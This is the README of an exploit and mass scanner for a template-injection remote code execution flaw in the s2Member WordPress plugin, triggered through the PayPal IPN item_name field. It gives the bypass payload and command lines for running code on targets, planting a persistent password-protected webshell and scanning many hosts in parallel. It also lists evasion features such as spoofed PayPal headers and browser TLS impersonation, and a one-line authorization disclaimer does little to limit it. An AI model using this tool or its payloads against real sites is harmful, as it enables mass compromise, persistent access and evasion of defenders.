
Single-file exploit and mass scanner for CVE-2026-86596, an s2Member template-injection RCE via the PayPal IPN item_name parameter, with bypass variants and webshell deployment.
CVSS 9.8 | CVE-2026-86596 | Patch: 261001+
Single-file weaponized exploit & scanner for s2Member template injection via item_name IPN parameter.
$paypal = strip_php_tags_deep($paypal); // Only strips literal '<?'
$msg = preg_replace('/%%item_name%%/i', esc_refs($paypal['item_name']), $msg);
$msg = trim(preg_replace('/%%(.+?)%%/i', '', $msg)); // Removes %%x%% -> reassembles <?php
Payload: <%%x%%?php system('id'); ?> → bypasses strip_php_tags_deep, reassembles to valid <?php after placeholder cleanup.
# Single target RCE
python3 poc.py target.com --cmd "id" --authorized
# Persistent webshell (access: /shell.php?pass=cmd)
python3 poc.py target.com --cmd "shell:mysecret" --authorized --deploy-shell
# Full bypass matrix (all variants)
python3 poc.py target.com --cmd "id" --authorized --full-bypass
# Mass scan with recon
python3 poc.py targets.txt --scan --threads 30 --recon
# Scan + exploit
python3 poc.py targets.txt --scan --exploit --cmd "id" --authorized --output results.json
| Flag | Description |
|---|---|
--cmd "id" | Command to execute (or shell:pass for webshell) |
--scan | Mass scan mode (read targets from file) |
--exploit | Attempt exploit during scan |
--authorized | REQUIRED for any exploit action |
--recon | Full reconnaissance before exploit |
--item-number | Specific item_number (default: auto-discover) |
--proxy-verification | s2member_paypal_proxy_verification key |
--write-test | Write test file instead of executing command |
--deploy-shell | Deploy persistent webshell |
--shell-path | Webshell filename (default: shell.php) |
--full-bypass | Try ALL bypass variants (slow) |
--no-evasion | Disable all bypass attempts |
--threads N | Scan threads (default: 15) |
--output file | Output JSON/CSV |
--http-proxy | HTTP(S) proxy |
--impersonate | TLS fingerprint: chrome/firefox/safari/edge |
--insecure | Disable TLS verification |
--verbose | Verbose output |
| Layer | Variants |
|---|---|
| Payload | 10: raw, urlenc, b64, concat, var-func, assert, preg_replace/e, create_function, shortcode, shortcode+b64 |
| Write | 4: file_put_contents, fopen/fwrite, shell_exec, b64_decode |
| Shell | 5: eval, system, assert, b64_eval, shortcode |
| Request | 5: form, multipart, dup, multipart-dup, JSON |
| Headers | 7: XFF spoof, PayPal referer/origin, IPN headers, cluster |
| TLS | 4: chrome, firefox, safari, edge (curl_cffi) |
item_number (protected post/page ID)do_shortcode() / [s2If php=...]/root/labv/
├── poc.py # Single weaponized exploit + scanner (384 lines)
├── README.md # This file
└── targets.txt # Example target list
FOR AUTHORIZED TESTING ONLY. --authorized flag confirms written permission.